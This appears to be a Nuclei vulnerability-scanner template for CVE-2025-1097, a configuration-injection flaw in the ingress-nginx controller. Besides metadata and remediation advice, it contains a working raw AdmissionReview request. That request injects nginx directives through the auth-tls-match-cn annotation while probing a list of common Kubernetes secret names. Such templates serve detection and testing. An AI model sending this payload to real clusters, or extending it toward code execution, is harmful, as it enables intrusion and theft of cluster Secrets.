Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-tls-match-cn` Annotation

id: CVE-2025-1097

info:
  name: Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-tls-match-cn` Annotation
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
  impact: |
    Authenticated users with Ingress creation permissions can inject nginx configuration through the auth-tls-match-cn annotation, leading to arbitrary code execution in the ingress-nginx controller context and disclosure of all Kubernetes Secrets cluster-wide.
  remediation: |
    Upgrade to the patched version of ingress-nginx that properly sanitizes the auth-tls-match-cn annotation.
  reference:
    - https://github.com/kubernetes/kubernetes/issues/131007
    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1097
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-1097
    cwe-id: CWE-20
    epss-score: 0.65355
    epss-percentile: 0.98503
  metadata:
    verified: true
    max-request: 1
    shodan-query: ssl:"ingress-nginx" port:8443
  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,vuln

variables:
  string: "{{to_lower('{{randstr}}')}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"{{string}}","kind":{"group":"networking.k8s.io","version":"v1","kind":"Ingress"},"resource":{"group":"networking.k8s.io","version":"v1","resource":"ingresses"},"namespace":"default","operation":"CREATE","userInfo":{"username":"admin"},"object":{"apiVersion":"networking.k8s.io/v1","kind":"Ingress","metadata":{"name":"{{string}}-auth-tls","namespace":"default","annotations":{"nginx.ingress.kubernetes.io/auth-tls-match-cn":"CN=abc #(\n){}\n }}\nssl_engine /aaa;\n#","nginx.ingress.kubernetes.io/auth-tls-secret":"{{secrets}}"}},"spec":{"ingressClassName":"nginx","rules":[{"host":"test.local","http":{"paths":[{"path":"/","pathType":"Prefix","backend":{"service":{"name":"dummy","port":{"number":80}}}}]}}]}}}}

    payloads:
      secrets:
        - kube-system/konnectivity-certs
        - kube-system/azure-wi-webhook-server-cert
        - kube-system/aws-load-balancer-webhook-tls
        - kube-system/hubble-server-certs
        - kube-system/cilium-ca
        - calico-system/node-certs
        - cert-manager/cert-manager-webhook-ca
        - linkerd/linkerd-policy-validator-k8s-tls
        - linkerd/linkerd-proxy-injector-k8s-tls
        - linkerd/linkerd-sp-validator-k8s-tls

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - 'AdmissionReview'
          - 'could not load the shared library'
        condition: and
# digest: 490a0046304402203447fc8bd5257e07f65ada4be0ca63f9d392c5aa5782bb470dd2c0ff98e1453c022042522742ba9e795e92e4328a68316c4c224362e9b23323b01aa5ac871c9dc272:922c64590222798bb761d5b6d8e72950